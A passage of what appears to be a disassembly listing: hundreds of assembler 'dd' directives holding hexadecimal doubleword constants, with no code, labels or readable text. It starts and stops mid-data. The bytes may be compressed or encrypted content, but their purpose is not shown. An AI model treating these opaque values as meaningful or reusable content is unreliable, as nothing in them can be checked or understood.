0FC8EBC3Eh, 1F121186h, 6ACF4304h, 324C555h, 921D74E8h dd 7AB6D211h, 126D02C3h dd 0FB8BD517h, 0BE618E40h, 0DC658A0Bh, 5957FBE9h, 2E4D4736h dd 7D36C1D3h, 0A436420h, 616CDCE2h, 0BC251C10h, 8860D799h dd 0A691FC0Dh, 7D613EA3h, 0B52F340Bh, 0EB6DA49Eh, 0CCFCB316h dd 7EE01500h, 44CEFB0h, 0BEEC53Eh, 6F889053h, 0C3753C57h dd 6749FF0Bh, 8661FCAEh, 0EDF0E06h, 0D29A48CEh, 37051E7h dd 0EDC59B17h, 439BFC05h, 0E98DE2FDh, 2685CA91h, 835196Bh dd 0E93656BFh, 0E664804h, 4CA8FA84h, 50A483DDh, 9B539263h dd 39A2563Eh, 8D1E47DBh, 91F26C87h, 0F6BC50EAh, 5D21B952h dd 0C73D7966h, 0BC2EDAh, 4B6DB997h, 42DE9F7Ch, 38F9435Ah dd 8656F646h, 0B23C4DEAh, 0B15DA73Ch, 9CD541C0h, 0FC6E54DCh dd 0EFDDECh, 0AA83BA11h, 314A81DBh, 0D770C264h, 431086BCh dd 0E5BADA47h, 370099Ah, 3D620217h, 0F09C63FAh, 7E929098h dd 0EEAD7EC5h, 4F2571CAh, 833E5505h, 158FA7F7h, 0C83FE68Eh dd 5C7C191Ah, 716F4082h, 9CFF352Bh, 19DC40D3h, 0FC714202h dd 81BEA984h, 43BFD7F5h, 0E7E956AEh, 18BC2EA2h, 5B6DB9A7h dd 62DE9F5Ch, 4BAC9546h, 0EA6F1688h, 0B27EC604h, 51421725h dd 5846258h, 651BFF6h, 17A1EE8h, 0DF939B76h, 79A5BD97h dd 788171Ah, 0DE9B7A12h, 1AEB854Bh, 0FC41028Fh, 0E8FFA0ECh dd 0F0AC619Ah, 7B0829B4h, 0F229C905h, 0BCCC4ACAh, 809B5505h dd 0CCF354FBh, 0C15DD654h, 0F9ED8DFAh, 0A685C4FBh, 0CE7733EDh dd 0C81D47DAh, 78D4BA05h, 0A2438907h, 0F6626D8Fh, 21E3C6EDh dd 9B6B0Bh, 0EDE8B6AFh, 0DF8D7AC5h, 0F52DC0A8h, 631A9D2Ch dd 0B07EC193h, 432985BAh, 9CA04DBBh, 0EE3B67AFh, 165E273h dd 1887B2D8h, 7AA33653h, 700644EFh, 0E6E50893h, 5F61963Eh dd 2DB0877h, 0F48CE8Eh, 8747E9B2h, 971985FDh, 0FE0C0255h dd 7B01E071h, 0FAE5A6BFh, 4EF3794Ah, 13E4B3FFh, 6334278Ch dd 22C2CFBCh, 32AAB8D4h, 0E85D471Ah, 72B41600h, 764388FBh dd 97B16307h, 40ED6DB2h, 0D0CE1B26h, 22380EB8h, 0F7818074h dd 3A25C76Fh, 0EB671FF4h, 7EA2A49Ah, 4EA2940Dh, 78C4D2Bh dd 53268E19h, 0F1B97342h, 637FAE3Ah, 775DAADAh, 0E6DC9D8h dd 15E8779Bh, 91208119h, 0FEA66DDAh, 818B7184h, 0F432CCFh dd 0E83CEAEDh, 812C3E28h, 75E29254h, 2B52FF71h, 528B1EFh dd 553B3E07h, 28737D15h, 14BB120Dh, 0C8FBFBE9h, 4F9D47DAh dd 0F7F3F2CDh, 0B0848906h, 1EE188F8h, 1C1D16F5h, 0ABBDE723h dd 53E6A9FAh, 848D9729h, 0DD34D527h, 63EE0F53h, 9A61EF18h dd 5EA26ED3h, 0A9A01320h, 3AB7D54h, 9EDE9BAh, 0D6C64191h dd 47D10F2Fh, 0CA173E0h, 0E00687D2h, 5F61924Bh, 70B71867h dd 50EA429h, 18BCA499h, 16C447D4h, 0D890977h, 79A310DAh dd 5D45AC7h, 0A68253Fh, 9D407BB1h, 0EFBA9A50h, 5A88D80Fh dd 5D0D506Bh, 40CE321Ah, 498CC44Bh, 746989C1h, 0D8628801h dd 28D27C04h, 8F94923Fh, 8CE45402h, 0BB8D9814h, 8A65CB4Ch dd 1432979Bh, 3BE5B7B9h, 41B1E4F5h, 0A9ACEF94h, 0FC54914Ch dd 0E7B963ACh, 0A0E50BF8h, 8FC43096h, 9761EB2Ah, 0AE699BA2h dd 0D86E880Eh, 0C579734Eh, 0FF99ABFFh, 1B44C05h, 0BB85442Fh dd 0F5AACB33h, 6363EEFCh, 392C8AFAh, 8B8A1DB4h, 41C13F57h dd 252314FDh, 0AC1E65E5h, 0FDFCB127h, 0AB48CE34h, 0C1FC0162h dd 0A6CA855Ch, 0F6B403E6h, 0A468D872h, 0E21F932Fh, 3BAABD3Ah dd 0D48D7B75h, 44E10C6Ch, 6B671FD2h, 0D52041F9h, 44D7D1F7h dd 8C50D5A4h, 0FCA8EE4Bh, 5C67224Ch, 6C3524C1h, 3A2B3A6Ch dd 7F24C9E9h, 448B898Dh, 3D5A0B88h, 473958Fh, 0A7078Ah dd 5BAC7C05h, 67388666h, 0E1FAC25Ch, 854DD511h, 10FDEE71h dd 0F6878A0Eh, 0A607A8Ch, 0CC6583F2h, 90E5483Ah, 0E4207FA7h dd 3BD64FFEh, 71F812ADh, 9B92992Dh, 0FE3053D2h, 0E9694D2Eh dd 0BB6C6642h, 0A9A7BDEh, 31C7651h, 0F1ACEF68h, 0D0696AD8h dd 4C71924Ah, 75ACE0E1h, 0FAB08A9Fh, 27EF4D74h, 2DB8DE8Bh dd 0DC7103Dh, 5CF66743h, 70B4757Bh, 19BD0C0Eh, 1AF55A10h dd 45AD502h, 0A30F8Ah, 5FA46C05h, 94DDB1BBh, 0E58B86DEh dd 9AD4D993h, 200A21BDh, 0F7AEAF27h, 1898BDDDh, 4C0368Ch dd 0D01ACE82h, 9CAFFAA5h, 1BE087D3h, 0D1A78DCEh, 69B7E18h dd 16390BC6h, 3044D174h, 50BFC6BAh, 86187A56h, 4A936EFh dd 2C808F58h, 9A90CA60h, 7FEE7A14h, 0BF558BCFh, 0CD4B7656h dd 4F20A1FDh, 5D67DDB7h, 6D081735h, 93738437h, 6DBF1A3Eh dd 0C269D607h, 0EB136E3Eh, 60886B06h, 0C1015F23h, 18B8588Eh dd 0A1FD641Ah, 0AD748C27h, 869F85BEh, 43E4AD88h, 2401Bh dd 978E0F49h, 13893DF5h, 0E8D940FCh, 0C3EB64ACh, 3F1F188Ah dd 0B4CC8B95h, 0FB438AF0h, 63F1AC69h, 3168B26Eh, 7CD71930h dd 564CFDFh, 0C3815928h, 70B40722h, 6286F322h, 1F210A1Fh dd 6AC68B7Dh, 7638CDFh, 0F4BB8428h, 52364802h, 0A48C03B3h dd 78A4AD6Ch, 87D5AE6Fh, 92684DD6h, 15D73807h, 2158E038h dd 4A3CF7h, 86FFC38h, 0EEBD7EDh, 0F45803A2h, 0EC1C6C9Ah dd 0F98D379h, 0F1AC554Ah, 8A583C7Eh, 0EB771402h, 659EE04h dd 60CBBE2Eh, 3FA7423Ch, 0F2F30697h, 804C5A7Dh, 0DDEE4BE5h dd 0C3C99072h, 25646DD0h, 0C7EEDCB3h, 59F87CD0h, 0B2DD4795h dd 0D617390h, 4F65BC98h, 0B16AF7EBh, 4F60D314h, 38C42E9h dd 5CEDF5F3h, 6C067ED8h, 3D2EED9Fh, 578050E7h, 9A748CDDh dd 0A5C4968Fh, 948AF84Fh, 0BE78Ah, 5D543C05h, 2CC0A764h dd 0BFE55259h, 0A4C3C992h, 905DAAF6h, 0D54750FBh, 7C9763C7h dd 0F02BCE89h, 7B4E9A04h, 32B0B2C0h, 0A85763AAh, 7957421Bh dd 984F4677h, 0E4C5CCAFh, 3844FAE9h, 0B1BFAE72h, 25679ECFh dd 200658D8h, 3427C0C7h, 66F7C5BCh, 6E65A226h, 0A22190E8h dd 7F6B0C3h, 7620F4C1h, 803578CFh, 0D07A7540h, 0F15D88DAh dd 57C76F9Dh, 0C95D135Fh, 913655C2h, 51C341CAh, 89750DFBh dd 5D8B71E9h, 85D08764h, 36DF9149h, 7E5B1963h, 0EC5722FAh dd 7FB3DB59h, 8B5D4107h, 0EF1037C3h, 0F43B5D04h, 0E30B53B4h dd 0E291025Ch, 6FDE72F6h, 816AFEB1h, 52E9FC41h, 53E59976h dd 69B92A9h, 0B875FF24h, 9B718447h, 30A69D1Eh, 0ABD809EFh dd 6DD112h, 0C3AD59A1h, 8CA0E285h, 1BEE79F2h, 5A877D2h dd 2DF993ADh, 43D09A2Fh, 0E1600464h, 114D4A21h, 15D9E74Bh dd 3F5FE830h, 0A4D4757h, 744898Eh, 0E04F4752h, 0BF85AE17h dd 0D83A1292h, 0A9E15F5h, 3BC59216h, 0AFBEBB2Bh, 0E449F90Eh dd 0E042D8C3h, 9D6BBE2Ch, 0EEC53A55h, 32B2899Fh, 39C88AF7h dd 0FCB1032Fh, 4161DCBBh, 3D108EE0h, 0DE2D31A5h, 849D7806h dd 0F3AC8111h, 94672A87h, 7B92E2B0h, 3AA27D9Dh, 84E56A5Bh dd 8EB7AB07h, 4164FE69h, 21C87BEDh, 0F2B5AA58h, 8BE14E22h dd 1130E2C6h, 29F6B44h, 5473EB78h, 8B3D1E2Bh, 48C5C440h dd 0FFFD5C1h, 710907DCh, 4B7511CFh, 0CA47B2BFh, 0E0221AB6h dd 6CE73642h, 0A59F6A51h, 67549B28h, 82C0927Ch, 0A0A248DEh dd 0EA33F84h, 1EC8808Ah, 8EA1032Fh, 58251F50h, 64DE2DA6h dd 7765EF20h, 5FDD588Eh, 3BF4D4C7h, 3BEC0F4Bh, 2B250FFBh dd 0A6F2A666h, 735F50D0h, 88A73C07h, 5966F176h, 6432F3FDh dd 0F16FDB87h, 0A280B6BFh, 7F7548D5h, 7CD153C0h, 795EF0B6h dd 458D7477h, 4DCBAC11h, 2CA892FDh, 0E649895Dh, 0F49DD911h dd 0CE79FA2Ah, 0E73FA78Fh dd 96EF32C3h, 0BF937D0Ch, 0F0C61110h, 9322742Dh, 0F508CCCAh dd 936B99Fh, 2E0E35F8h, 2668400Eh, 0C8251D17h, 88B7EA25h dd 190BB2D7h, 0F485448Eh, 0B52FD1F2h, 0F7378C0Eh, 0B175C47Dh dd 422A8974h, 84E56AABh, 888FB9C3h, 5966F046h, 1DD771Dh dd 78A75DBAh, 0C2D6996Fh, 5CFEF7CEh, 5F42185Bh, 18658287h dd 123B38Ch, 64A9BCD5h, 0EADE1D5Dh, 0BFAECE91h, 0A02A1692h dd 0ECE21E2h, 342F923Eh, 96AB581Bh, 0AE8D141Ch, 0E5FB1110h dd 0CDA7C6AFh, 76FB4FA9h, 9FB3ED0h, 6CC89283h, 5AB1032Fh dd 0D61DCBAh, 45108EEEh, 0E2D31A1h, 9C723143h, 752FD489h dd 3ED8080Dh, 1735BDE1h, 0B297C46h, 0A0E06AB7h, 17EE7052h dd 1DA8471Ch, 6C32F141h, 68F07D0Bh, 0C3947EEh, 49FEAE93h dd 0A89C157h, 0EC65DD8Eh, 0FFCC24F4h, 834D5886h, 0D62E8AA8h dd 0B2AE9600h, 7C5E9886h, 570CB6AAh, 48F4D337h, 0C7718108h dd 0BB35B82Dh, 0EC5C7324h, 8861BE2Ch, 0F5BA7BDAh, 7D343A94h dd 200601BCh, 4CB43728h, 0E54CC60Ch, 586CF4B4h, 7B6DB291h dd 3CD8F7C3h, 64E17B8Ah, 604B458Ch, 6BEE8CB1h, 1E2B3C11h dd 0F172649Fh, 0BFE7226h, 9C1BAA4h, 188DFE71h, 74D87713h dd 57FC9808h, 3995269Eh, 928C8CC8h, 12DE0DCAh, 613FFE87h dd 4D878A70h, 63CAD2E1h, 0BB283FD5h, 0B0521DEFh, 570FFAF6h dd 78EAD337h, 5A39748Ah, 0AE3F6E4Ch, 0EC961714h, 46DBF3A5h dd 0C9964F9Bh, 80F38C80h, 52C89BF3h, 76990B2Fh, 0FA68E937h dd 18A3D251h, 0B575CEA9h, 406748Ch, 0B1EE4999h, 0E07B4F8Dh dd 7BEE8CB6h, 0B1EFFC2Fh, 7B0ED3Fh, 7B28F161h, 5393F85Fh dd 3DC87537h, 0F1C3BFF5h, 0D2E280AAh, 0D9CAABDEh, 67E50C72h dd 0C708E85h, 661FDB8Ch, 755F98Ch, 39340752h, 0AA3447DEh dd 7E9FDC11h, 520EB6AAh, 3468592Fh, 2C9AE8EFh, 0E708F1FBh dd 0E2C6DF8Fh, 473FEB93h, 4A5C5B9Eh, 8C6F5619h, 46C882B2h dd 115E870Bh, 19AABF23h, 6D10B2F6h, 323D31A1h, 759D3C42h dd 0E0E14D55h, 62665789h, 6EEF94A7h, 28B2FE3Dh, 8CB89C28h dd 4620F720h, 8BD7553h, 0EF9DAA38h, 684EDC53h, 0A79D1E4h dd 4CFCA286h, 37C9865Bh, 1C68EEE9h, 0CBD6C0h, 0E341AC05h dd 662A08C4h, 0AA3C87EAh, 0F59EEB72h, 1ABE29FAh, 0ED5A1DB6h dd 96BBD652h, 391F9FCh, 3FBCE8Ch, 0AAEFFBA7h, 7F85025Fh dd 8495FED5h, 6A43928Ah, 0A69C0BF7h, 1E77EB35h, 45A79EE3h dd 1B51BEDDh, 0D10670BCh, 31F44994h, 0AD77528Ah, 46E6B4F1h dd 69D776CBh, 1B0A424h, 5622F804h, 39ED3E43h, 6C06E67Ah dd 79F57A03h, 0C79C066h, 903F5A83h, 4E43BA1Eh, 0C6B5F39Ah dd 83232337h, 7742A478h, 6165890Ch, 7134D7DEh, 0AD1D85D2h dd 3BA2ABEAh, 40ECD1F5h, 0DFC47B8Ch, 68E432B3h, 156D8EE4h dd 475FCB3Ch, 0D0564F93h, 1A3B8D84h, 5CC840F6h, 0DB2B8907h dd 6261B27Fh, 39B3D22Dh, 0B6283379h, 3F853942h, 359DF0C4h dd 606B7AFBh, 6BEE8CB5h, 0B6F75D01h, 0D7B8B12Ah, 0C0F615C5h dd 5CED842Eh, 0C50E1A78h, 2FF3A7C7h, 0B661C8E4h, 15302A29h dd 993D01C2h, 703501F2h, 83EB2A1Ch, 0C82953E5h, 0A8FAABC9h dd 0EEAC47AFh, 0F491110Fh, 103C5CEAh, 63C65A3Bh, 3921FE36h dd 62D47206h, 0F5FE19DCh, 456F7E47h, 82E7860Ch, 0E66121Bh dd 12538BF0h, 56A17EF7h, 2C26E27Fh, 449197DEh, 8A2831E9h dd 5D8C2C44h, 6A2D30D1h, 78E581h, 0E2ECA02Dh, 0C5A78FF6h dd 8BA86CABh, 5721E945h, 1965FEA2h, 39C00096h, 98262C1Ah dd 0A3A9F9F0h, 0E3B47A5Fh, 8FDDCD4Eh, 14341287h, 531FFC1h dd 8542160Fh, 0E2703EA8h, 71771210h, 7CC96DDFh, 0D992922h dd 0ED949854h, 0D53EFFDDh, 0E379668Fh, 611E9B03h, 33FBBC28h dd 87A0CFC3h, 70B38380h, 825675B7h, 0DDF188DBh, 58E36672h dd 0A088E7A3h, 91920306h, 0F4847C0Eh, 3827C484h, 0E951EEFDh dd 46E684FEh, 49D71BD9h, 0A549266Ah, 88ABF97Eh, 0E1BD0BC6h dd 0D672471Ah, 876D770Ah, 876B8586h, 0E53024D6h, 0C2409F4Ah dd 6F2AC90Ch, 0DABA97C7h, 834796C4h, 6E2877F9h, 0BED1D254h dd 0FA191D98h, 127F5B7Eh, 98CBDB3Fh, 5BE54A07h, 0D3647E41h dd 6323EF0Eh, 0D36B3DF4h, 0EB987BDh, 9C74Ah, 19D69E7Ch dd 0DBF18920h, 24649473h, 5B7096AEh, 7EEE6220h, 304D17D7h dd 0CA651E02h, 0FE738C04h, 2B6483F5h, 4AA032A6h, 75BC6DFh dd 4622F531h, 0E02B726Bh, 298DFE96h, 0DBFCA93h, 4B11AD0h dd 0D91EB136h, 0DB13D36Fh, 10BE2875h, 1344392h, 0A06EA15h dd 0EC2FC2E9h, 0FA278325h, 151B4113h, 36BFC1E5h, 9E7582B6h dd 45C8B502h, 0FBFD750Ch, 0EE2CDE89h, 25E9B6ACh, 87DD4686h dd 707E3810h, 0E80601E2h, 0A1E0D8AAh, 4AE96E62h, 0D08918E0h dd 8F4453B9h, 71067CC8h, 48E04987h, 98A13EFEh, 3A1B04D3h dd 0CDB60327h, 0C92BE495h, 2FB7494h, 0CF15AE6Ah, 2D64F571h dd 0F3A5F5D2h, 0D7E46B2Ah, 0E12024D7h, 908FAEC2h, 0ED25A99Dh dd 3343E8h, 0F807CB43h, 6920A2EDh, 0BFAB423Fh, 0F4F24966h dd 4293EF77h, 840980B6h, 0F4185518h, 1135A88Dh, 7F4A1101h dd 0DCCAB924h, 0D61F435Dh, 0F97B136Fh, 0DFC69AF7h, 3F1E8152h dd 0AC606AA7h, 0D36BD72Fh, 0CB6D4AD4h, 0A8F0FFCEh, 3BB5B18Bh dd 3BEAFF45h, 0C3300DFAh, 0A7AF76E9h, 8CA0E6C4h, 0E32821EDh dd 2D2D90ECh, 0D34C25D8h, 0EDB17E96h, 976897E7h, 1D77E820h dd 9AF42A03h, 713FCAF2h, 0F876D009h, 81436C88h, 69E9BAB8h dd 7142E95Fh, 0A51661DFh, 0EA2823FBh, 0ED8558F9h, 0CF34BDDFh dd 6228B26Fh, 0EFB45BDEh, 0C7BEAAA7h, 0C4D46D1h, 4FFBE9DDh dd 25A88FF5h, 17EDCDACh, 0A4156E72h, 6274EF26h, 0EBE6B4DCh dd 75DDF130h, 365C9102h, 0F48C0D00h, 0C40F8590h, 0BCCB9E72h dd 482319B4h, 0ECD67990h, 82E18FC9h, 790000F4h, 80F07C52h dd 0C6490A9h, 0E174A793h, 98C69672h, 0FBCAC7E3h, 8BCB168Ch dd 0D86B2050h, 91A6A564h, 737D9C0Ah, 78584476h, 47728D86h dd 32DDBDB6h, 0EBD8638Ch, 0EA0C7A19h, 6365E914h, 0D0EB3DF4h dd 0FB987BDh, 609C74Ah, 15D69E7Ch, 0D8F18920h, 0B5649473h dd 507382D3h, 1992451Eh, 948D75C8h, 0CF6C478Ah, 833424F4h dd 0C49A64B6h, 5EE7FD7Ah, 80E56D1Fh, 8343AAC4h, 8A12042Fh dd 0EF04F455h, 98301D40h, 0E306E10h, 442EF426h, 3D75DF88h dd 4353D8Fh, 14D78Ah, 5D42DC05h, 2CA4E764h, 0BFADD259h dd 9572C992h, 9173AAFBh, 0A7D150FBh, 0D0CB428Ah, 0EB3BCE89h dd 0BF6E9A04h, 0DBD35BA5h, 6EDD47C6h, 0FD8CAC53h, 9714DCA4h dd 6526807Ah, 486096CBh, 129AF8A7h, 0B285E9B7h, 37728345h dd 352DC876h, 149F84DBh, 390F916Ch, 0A6F1768Fh, 735F17A4h dd 8AA7320Fh, 0F16E1D66h, 0AA85B10Eh, 8C4FFD1Bh, 0C69816Fh dd 0DFFC8593h, 9F31E160h, 91BBBE79h, 8D346307h, 0F7AB3C90h dd 792B9B12h, 3A184255h, 67D90CDh, 0C2D9F550h, 64C25857h dd 0C4806D07h, 6B147201h, 0AD1792C0h, 0CBB53FDCh, 0FF1D47C6h dd 1E76C19Ch, 0FBBC7519h, 9E18830h, 45901F3Ch, 8F747E21h dd 12E8314Ah, 8472835Fh, 5F544137h, 3837F8C1h, 0C4BCBAAFh dd 4266F558h, 742320CEh, 0FCB7827Bh, 9117726h, 2C7543C1h dd 7C4E01E6h, 40961159h, 1975E5D6h, 0E684554Bh, 8D3EDE70h dd 89CD52F7h, 778679C3h, 9972494Dh, 5ED95105h, 76BD999Eh dd 2FDAA23Eh, 5D7DAEBAh dd 946F3E6Dh, 17F2208h, 29716A9Bh, 84A77AAFh, 6A80913Eh dd 1E235F6Fh, 0DABE06E3h, 0AB210D30h, 0A0E346A1h, 0CD12DAA4h dd 1195394Eh, 5C6577C7h, 375B3B0Bh, 0EB670A36h, 0B065EE56h dd 1DF2833Ch, 735081D3h, 0F6F77C3h, 5611A388h, 0C504996Fh dd 872FCD0Eh, 874E5AE2h, 4A75C7D6h, 3E94831Dh, 0C29B283h dd 7326F20Fh, 8B9F651Eh, 0A95EFD0Dh, 3BE74B71h, 0E14E1C60h dd 1321A26Fh, 67A2AE2Fh, 0C1D53F03h, 191120ECh, 0DEBE5DFBh dd 528BBE2Ch, 0B976B81Eh, 782EEC3h, 421A7509h, 0D6F1AC64h dd 0FA057E67h, 0C4186D5Ah, 4DAB33BBh, 0EB53C655h, 0C02D9D42h dd 0E6A45C6Bh, 6E65A329h, 0A22192F2h, 0DBF6B42Fh, 88A3A9BFh dd 0A004EA66h, 0A28DC211h, 3E9D1655h, 0D17A90FFh, 0E6B5C83Eh dd 0DA4D53B4h, 0CCB785F2h, 8662F8h, 0FF219C05h, 1D3182EBh dd 0A937E845h, 0F5C02B72h, 1AE329FAh, 8E101DB6h, 25F9F900h dd 0E6BC7204h, 5E5ADF8Fh, 116E4269h, 0DC564CA2h, 98AB2F6Ch dd 23B3CF7Fh, 1B3B012Fh, 982069FCh, 6D9B9099h, 0FE28334Ah dd 0BF7D0136h, 262FDCFBh, 62B72E25h, 465C7C11h, 89A80485h dd 8CA01B76h, 7E20F42Ch, 82BEB19Bh, 0C1DDD237h, 8759A854h dd 866523ECh, 933482Dh, 0E0C91CC0h, 79B79106h, 104283FBh dd 0B52A6453h, 0EC6C5D12h, 79393695h, 0D72FE652h, 1D24917Ah dd 9A0516BAh, 0D74F58F8h, 0F6C07A04h, 6A937252h, 549241D3h dd 1B183316h, 0DA18F958h, 0E91C4AC7h, 0C70D017Bh, 1C1F1BF7h dd 10BC2E28h, 6D6DBAB3h, 8062BEBh, 7ABD099h, 9B420177h dd 0FA65842Ch, 0C7C47387h, 722181F1h, 3ADEF3DBh, 19C9B2F8h dd 298F0537h, 3B516993h, 0F269EBE9h, 62F6A2C2h, 17BD0E4Fh dd 64F06E9h, 6630EE07h, 7C478786h, 6936FDEAh, 0FFD70255h dd 0F5C79825h, 0EAACCCFAh, 8E38E730h, 27315843h, 0E9F7D7Bh dd 0D7CE99BBh, 16A2D875h, 0E79DC2B0h, 94C409B5h, 364CAFF0h dd 7CEC77DFh, 7660960Bh, 0A39DD12Ch, 487D9EE7h, 59EB8C34h dd 79C2C743h, 14AF8436h, 6FEE8FB9h, 89C46755h, 0BDA0E729h dd 58F5AB9Ch, 5C126F80h, 0C50E2638h, 2FF05C4Fh, 8861B9E4h dd 3C738061h, 1AC87FBBh, 6230614Eh, 8150558Eh, 7D4053FBh dd 2AC304DEh, 8F3CCD53h, 8E447F8Eh, 1F6FAAFEh, 6785DB59h dd 0B7B64B07h, 92C44987h, 0D7FC2503h, 0D5E0BE2Ch, 989D4669h dd 2F7A6090h, 5C8335F9h, 9EE18995h, 61961352h, 73C1B3h dd 76DBAB0h, 0F24BF5DBh, 37DA0439h, 0F18EC702h, 34658450h dd 1B29B1CCh, 570E623h, 0FC96F811h, 75EDE654h, 6A7AA5A1h dd 0C260F15h, 5F6C38E2h, 0C065C22Fh, 0E295DFABh, 1E99464h dd 103652DFh, 824001D8h, 2CE90AA8h, 42245FADh, 0F5C6999Bh dd 121AF213h, 6981DB3Fh, 0DE6C4007h, 0C3DA31B3h, 28111A0Bh dd 0DF67EBA7h, 7A1C9569h, 0B0A30F94h, 3745C97Fh, 0A20877E8h dd 4E609635h, 5E9DD12Eh, 28EDBA96h, 0BB733934h, 0F3A2870Bh dd 23E408D3h, 78ECE240h, 42E7FC73h, 80E56E6Bh, 7E670CCFh dd 4C668783h, 6A04A50Fh, 3B616AD5h, 0E169E56Bh, 19778211h dd 190F624Bh, 0C405918Fh, 364FEEh, 5FDC705h, 9571AB8Bh dd 715960BEh, 7CA01BD9h, 5193CCF9h, 267B3E3Bh, 92C35805h dd 0A55D1402h, 97D9FC00h, 0B64BBE2Ah, 8FE10255h, 2A8E85F6h dd 0BC94F406h, 651DCD9Fh, 69E9F0ECh, 0F01EF459h, 7EF13EBCh dd 6B827CBDh, 7AB38F9h, 0B8A68E21h, 0C3300DA5h, 4CE9C078h dd 3654AAAEh, 3ABF454h, 0C8C4303Ah, 0FA79865Ah, 80F38773h dd 0E0F20E6h, 1AFCA606h, 0E68DB944h, 6672280h, 0FAE57A8Eh dd 648298Ch, 0E030895Ah, 0EA85EE18h, 7CC9999Ah, 99D8832Bh dd 8523B47Ah, 0D8B46B8Ch, 366514C6h, 0D64D1362h, 2CEE0123h dd 9B0EF0D9h, 2FA0C719h, 0BDABDF7Fh, 1DE7C397h, 30DA7279h dd 0C19B92A5h, 0E5AC9362h, 145E98F8h, 0F94C9137h, 3BEE61F0h dd 3F260D38h, 48E1C066h, 70ED58D4h, 8ACD0CAFh, 828BE7C0h dd 20EB3D74h, 0B0250A10h, 0DC37BD90h, 0DA28235Fh, 8A5888DBh dd 94A4391Fh, 90A62397h, 5C28FC95h, 85B70764h, 7169915Dh dd 804211C7h, 9BC623F6h, 9C01C1CEh, 58B87B8Eh, 364B7DF6h dd 417428Dh, 5B77FBA5h, 0CA16BF93h, 5CA8586Ch, 0E280D71Ah dd 0B2BD0376h, 0A7B81F38h, 80F08D45h, 5FB73397h, 67946h dd 31A3CC36h, 2FD10821h, 0FDEC805Fh, 4E2291EAh, 0F021E7DFh dd 83ABE450h, 2C98E193h, 0C90E1B98h, 5C66670Ch, 7DA83966h dd 8C6145D3h, 0AC91D43h, 36E902h, 8126FD08h, 0F64763E7h dd 82240A12h, 0DE430362h, 0F588998Ah, 9B02DFFAh, 7A14DBE7h dd 5878FE6Ch, 0E306B3DEh, 0DCBB8E8Fh, 5DFBBF2Bh, 1FD94592h dd 0C4988698h, 4FF3341Eh, 7EE14FDFh, 0BB609635h, 4B706D6Bh dd 1B624C3Ah, 356DFF74h, 30A4E21Bh, 0EB620751h, 656587DCh dd 0F12FB4B6h, 8CA0E4D3h, 38C4EE1h, 5AEDEDE3h, 0DD14027h dd 70BB26DFh, 0F479C267h, 9AAE84CDh, 0DAA383ABh, 0C5ED28ABh dd 14B346FDh, 8BB0490h, 6B7854FDh, 0E5BB4351h, 0A587B72h dd 1CDC6D05h, 0E64A583Fh, 0F6B3C1CFh, 3D759A57h, 5B0765FBh dd 88DB9A68h, 5118AF85h, 7070F96Fh, 2C8503FEh, 153842C9h dd 0CCE9CFC5h, 0DD58C9FFh, 0ED6D9DC7h, 5CA93027h, 0BC8083C8h dd 0B956C4F8h, 39109EE3h, 7722BAE6h, 0CDA391D7h, 0D322028Fh dd 5A7D2AA8h, 0DC15806h, 392D4B9Fh, 40E046E9h, 1991CDB0h dd 1B7C78CBh, 45BDC38Fh, 0E0B93D01h, 48395A0Ah, 0A98624EBh dd 76B81A20h, 800B9DE3h, 6C1ECCEBh, 6CBD583Dh, 0D76DBD61h dd 0E2B6F60Bh, 0FCA59A04h, 0A76A354Ah, 0B81CCEB0h, 91328DF6h dd 3A020390h, 0AE00347h, 5662D7B2h, 689B9378h, 0BE863821h dd 72F4FFF2h, 1B7DB373h, 0AAD008ADh, 34A5861Ch, 8FA62156h dd 5CA9E531h, 5EA67FAh, 0DAC62CCh, 9E82E4B0h, 82673F02h dd 0E1B90960h, 1672CA5Fh, 1BC5D1FCh, 1586B64Fh, 933A9C6h dd 483D4AD5h, 48DA04EFh, 76888933h, 873B1FE3h, 1A6F4146h dd 9E9F5988h, 0D6018908h, 0E90B90C5h, 0D9F7FCD4h, 0A94A0923h dd 0F992BF07h, 913202C0h, 9B9383F6h, 0E1E3C9ABh, 0E564D78Fh dd 312C9D45h, 0D18F7A45h, 1DEBAC95h, 0E1C2C323h, 280101A6h dd 3D1C043Fh, 281E0243h, 83A68A4Ch, 5D2E5F2h, 562E6EDCh dd 9600EFCAh, 78A64D13h, 874EDD62h, 0E676CAD6h, 1A3B026Eh dd 430BD9Fh, 3E6B07h, 9A8DC05h, 691302EDh, 0F5FE8255h dd 0F54A999Ah, 1513AAFAh, 67CC583Fh, 0D56C3E07h, 9E1C7204h dd 0C46E9A04h, 0B36BBE2Ch, 5EDD47D6h, 52730691h, 0BC438AF9h dd 60E18822h, 0C8609639h, 789B92BAh, 0CE6DBB41h, 0B48D7C98h dd 70A4C76Ah, 0EB6707DFh, 3B658778h, 4EA27125h, 8CA0E843h dd 3ABED8Ch, 9EDD323h, 298D28F1h, 78A65AD3h, 8769516Fh dd 197729D6h, 1AC6544Bh, 433318Fh, 3F6307h, 9AACC05h, 691F22EDh dd 0F5814255h, 0F55A199Ah, 14F0AAFAh, 6782583Fh, 0DAE83E07h dd 9F147204h, 0C29E9A04h, 0BF4BBE2Ch, 651D47D6h, 42F30691h dd 9B438AF9h, 22E18822h, 4C609639h, 709B92BBh, 0FE6DBB4Fh dd 0D48D7C84h, 0B0A4C712h, 6B6707EEh, 0B36586A7h, 2EB271BAh dd 1B0E89Ah, 8EBBEAD9h, 6DFDDD6Eh, 7E85ABEh, 16CF6299h dd 0E63FCA86h, 700D61BAh, 6DE6F125h, 6B40DBE6h, 6C201064h dd 68DE9E6Ch, 4735BB9Fh, 8689087Bh, 811FF8EEh, 34B6C493h dd 26031773h dd 93341E4Bh, 0CC01354Ah, 0E0C9D44Bh, 0DED9D658h, 437323B7h dd 42730CBFh, 0E31EB8Dh, 0C486E64Ah, 8D2DD97Dh, 0FAF3E698h dd 0C009DA29h, 0F48752A8h, 0A0F08658h, 0CB5D57ABh, 4C17E9D0h dd 2BC603D8h, 0E3D4C8DFh, 6A8ECB06h, 46BEDC09h, 9DE7D72h dd 0CD40923h, 0EE739655h, 781467DCh, 3AB2EF25h, 605C60EDh dd 73689F27h, 29C38971h, 27A8D9Eh, 0FFB4B630h, 861C759Ah dd 71A8CF8Eh, 4908764Dh, 0B4693E0Dh, 0F3D61770h, 0B3EEF665h dd 0E4F9D943h, 5FC03BBh, 46A006F0h, 834FE9Fh, 8BBDED51h dd 0EB12F557h, 74FDFDCBh, 7004EC11h, 67FA13E5h, 42D18449h dd 1F096297h, 4817E3E3h, 12CC1ED2h, 0E0D090FAh, 71CE995Bh dd 6782BF13h, 5DEE537Fh, 58C8097Ah, 0F439DB8Ch, 135902B3h dd 6EA7AE4Bh, 